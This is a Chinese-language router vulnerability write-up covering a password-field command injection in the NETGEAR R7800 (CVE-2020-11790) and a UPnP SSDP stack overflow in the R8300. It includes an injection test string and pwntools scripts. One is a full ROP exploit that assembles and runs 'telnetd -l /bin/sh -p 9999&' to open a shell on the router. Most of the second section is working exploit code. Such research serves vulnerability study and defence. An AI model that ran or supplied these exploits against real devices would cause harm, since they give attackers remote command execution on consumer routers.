附件下载链接
NETGEAR R7800(CVE-2020-11790)
NETGEAR R7800 存在命令注入漏洞,下面以 V1.0.2.62 版本固件为例进行介绍。
固件仿真
漏洞存在于 uhttpd 中,由于该功能比较独立,可以直接用 qemu user mode 仿真。
/www/cgi-bin/uhttpd.sh
中记录了 uhttpd 的启动参数:
#!/bin/sh
REALM=`/bin/cat /module_name | sed 's/\n//g'`
UHTTPD_BIN="/usr/sbin/uhttpd"
PX5G_BIN="/usr/sbin/px5g"
uhttpd_stop()
{
kill -9 $(pidof uhttpd)
}
uhttpd_start()
{
$UHTTPD_BIN -h /www -r ${REALM} -x /cgi-bin -t 80 -p 0.0.0.0:80 -C /etc/uhttpd.crt -K /etc/uhttpd.key -s 0.0.0.0:443
}
case "$1" in
stop)
uhttpd_stop
;;
start)
uhttpd_start
;;
restart)
uhttpd_stop
uhttpd_start
;;
*)
logger -- "usage: $0 start|stop|restart"
;;
esac
另外在 uhttpd 有参数的相关说明:
因此可以使用如下命令启动 httpd ,其中 -f
参数是为了能够在命令窗口看到程序的输出。
$ cp `which qemu-arm-static` .
$ sudo chroot . ./qemu-arm-static --strace ./usr/sbin/uhttpd -h /www -r R7800 -f -x /cgi-bin -t 80 -p 0.0.0.0:80 -C /etc/uhttpd.crt -K /etc/uhttpd.key -s 0.0.0.0:443
访问如下网址弹出登录框说明仿真成功。
漏洞分析
漏洞位于 uh_cgi_auth_check
函数,该函数主要内容如下:
int __fastcall uh_cgi_auth_check(int a1, int a2, int a3)
{
...
v10 = a2;
while ( 1 )
{
v11 = *(const char **)(v10 + 16);
if ( !v11 )
goto LABEL_10;
if ( !strcasecmp(v11, "Authorization") )
{
v12 = *(const char **)(v10 + 20);
if ( strlen(v12) > 6 && !strncasecmp(v12, "Basic ", 6u) )
break;
}
...
}
memset(s, 0, sizeof(s));
v23 = strlen(v12);
uh_b64decode(s, 4095, v12 + 6, v23 - 6);
v24 = strchr(s, ':');
...
v13 = v24 + 1;
if ( v24 != (char *)-1 )
{
snprintf(v27, 0x80u, "/usr/sbin/hash-data -e %s >/tmp/hash_result", v13);
system(v27);
v3 = cat_file(73205);
}
...
}
通过调试发现 v13 实际上是用户输入的密码,因此存在命令注入漏洞。
漏洞验证
在 system 函数调用处下断点然后输入 ;echo sky123 > sky123;
密码登录,system 传入参数如下:
继续运行命令被成功执行:
NETGEAR R8300(UPnP栈溢出漏洞)
之前提到过 R8300 的 V1.0.2.130 版本存在 UPnP 栈溢出漏洞,该漏洞在后续版本中被修复,但是 UPnP 模块中还存在其它栈溢出漏洞。这里以 V1.0.2.136 为例进行分析。
sub_25B88 函数逻辑如下:
int __fastcall sub_25B88(const char *a1, int a2, int a3)
{
...
char v39[1500]; // [sp+24h] [bp-Ch] BYREF
...
memset(v39, 0, sizeof(v39));
v42 = ' ';
v41 = v39;
strncpy(v39, a1, 1499u);
v7 = (const char *)sub_B60C(&v41, &v42);
v8 = v7;
if ( !v7 )
{
LABEL_13:
sub_B814(2, "%s(%d):Http message error\n", "ssdp_http_method_check", 231);
return -7;
}
if ( !strstr(v7, "M-SEARCH") )
{
if ( stristr(v8, "NOTIFY") )
return 0;
goto LABEL_13;
}
v9 = (const char *)sub_B60C(&v41, &v42);
if ( v9 && !strchr(v9, 42) )
{
sub_B814("%s(%d):Parsing error missing * \r\n", "ssdp_http_method_check", 214);
return -7;
}
v10 = sub_B60C(&v41, &v42);
if ( v10 && !stristr(v10, "HTTP/1.1") )
{
sub_B814(2, "%s(%d):Parsing error missing HTTP/1.1\n", "ssdp_http_method_check", 219);
return -7;
}
memset(s, 0, 37);
sub_B814(3, "%s(%d):\n", "ssdp_discovery_msearch", 1007);
if ( stristr(a1, "NOTIFY") )
return -7;
v11 = stristr(a1, "MAN:");
if ( !v11 )
return -7;
if ( !stristr(v11, "\"ssdp:discover\"") )
return -7;
v12 = sub_248F8((int)a1);
...
}
可以看到之前的栈溢出已经修复,但是只要通过前面一些列的验证会调用 sub_248F8 函数。
sub_248F8 函数中 strncpy 中的长度参数可以通过 MX:
和 \r\n
之间字符串长度控制,如果构造出过长的字符串就会造成栈溢出。
int __fastcall sub_248F8(int a1)
{
...
memset(v6, 0, 128);
v2 = stristr(a1, "MX:");
v3 = v2;
if ( v2 )
{
v4 = stristr(v2, "\r\n");
if ( v4 )
{
if ( v4 <= v3 + 3 )
{
sub_B814(2, "No MX error1 !!\n");
}
else
{
strncpy((char *)v6, (const char *)(v3 + 3), v4 - (v3 + 3));
...
}
}
...
}
...
return v1;
}
通过调试分析得到如下 POC :
from pwn import *
p = remote("192.168.2.2", 1900, typ='udp')
payload = 'M-SEARCH * HTTP/1.1\r\nHOST:1.2.3.4:1234\r\nMAN: \"ssdp:discover\"\r\nMX:'
payload += 'a' * 0x80
payload += p32(0xaaaaaaaa) # R4
payload += p32(0xbbbbbbbb) # R5
payload += p32(0xcccccccc) # R6
payload += p32(0xdddddddd) # PC
payload += '\r\n'
p.send(payload)
运行 POC 成功控制返回地址和部分寄存器:
在漏洞利用的时候需要注意 stristr 和 strncpy 均存在 \x00
截断。
由于利用思路与之前的类似,因此这里直接贴 exp 了。
from pwn import *
p = remote("192.168.2.2", 1900, typ='udp')
cmd_addr = ELF('upnpd').bss() + 0x300
payload = 'M-SEARCH * HTTP/1.1\r\nHOST:1.2.3.4:1234\r\nMAN: \"ssdp:discover\"\r\nMX:'
payload += 'a' * 0x80
payload += p32(0xaaaaaaaa) # R4
payload += p32(0xbbbbbbbb) # R5
payload += p32(0xcccccccc) # R6
payload += '\x34\x33\x01\r\n' # PC
"""
.text:00013334 ADD SP, SP, #0x800
.text:00013338 POP {R4-R6,PC}
"""
payload = payload.ljust(0x164, 'a')
payload += p32(cmd_addr) # R4
payload += "bbbb" # R5
payload += "cccc" # R6
payload += p32(0x00013650) # PC
"""
.text:00013644 MOV R0, R10 ; dest
.text:00013648 MOV R1, R5 ; src
.text:0001364C BL strcpy
.text:0001364C
.text:00013650 MOV R0, R4
.text:00013654 ADD SP, SP, #0x5C ; '\'
.text:00013658 POP {R4-R8,R10,PC}
"""
def strncpy(dst, src, len):
rop = 'a' * 0x5C
rop += p32(dst + len) # R4
rop += p32(src) # R5
rop += p32(0x66666666) * 4 # R6 R7 R8 R10
rop += p32(0x00013648) # PC strcpy
return rop
# "telnetd -l /bin/sh -p 9999&"
payload += strncpy(cmd_addr, 0x0000A07B, 3) # "tel"
payload += strncpy(cmd_addr + 3, 0x00009893, 3) # "net"
payload += strncpy(cmd_addr + 6, 0x00040988, 2) # "d "
payload += strncpy(cmd_addr + 8, 0x00046C52, 2) # "-l"
payload += strncpy(cmd_addr + 10, 0x0003EF25, 1) # " "
payload += strncpy(cmd_addr + 11, 0x000409D0, 5) # "/bin/"
payload += strncpy(cmd_addr + 16, 0x00009CBC, 2) # "sh"
payload += strncpy(cmd_addr + 18, 0x000416BE, 2) # " -"
payload += strncpy(cmd_addr + 20, 0x00040B29, 2) # "p "
payload += strncpy(cmd_addr + 22, 0x0003FCA8, 2) # "99"
payload += strncpy(cmd_addr + 24, 0x0003FCA8, 2) # "99"
payload += strncpy(cmd_addr + 26, 0x00049C25, 2) # " &"
payload += strncpy(cmd_addr + 28, 0x00045DD1, 1) # " "
payload += 'a' * 0x5C
payload += p32(cmd_addr)
payload += p32(0x66666666) * 5 # R5 R6 R7 R8 R10
payload += p32(0x0001A83C) # PC
"""
.text:0001A83C MOV R0, R4 ; command
.text:0001A840 BL system
"""
p.send(payload)
运行 exp 成功执行命令: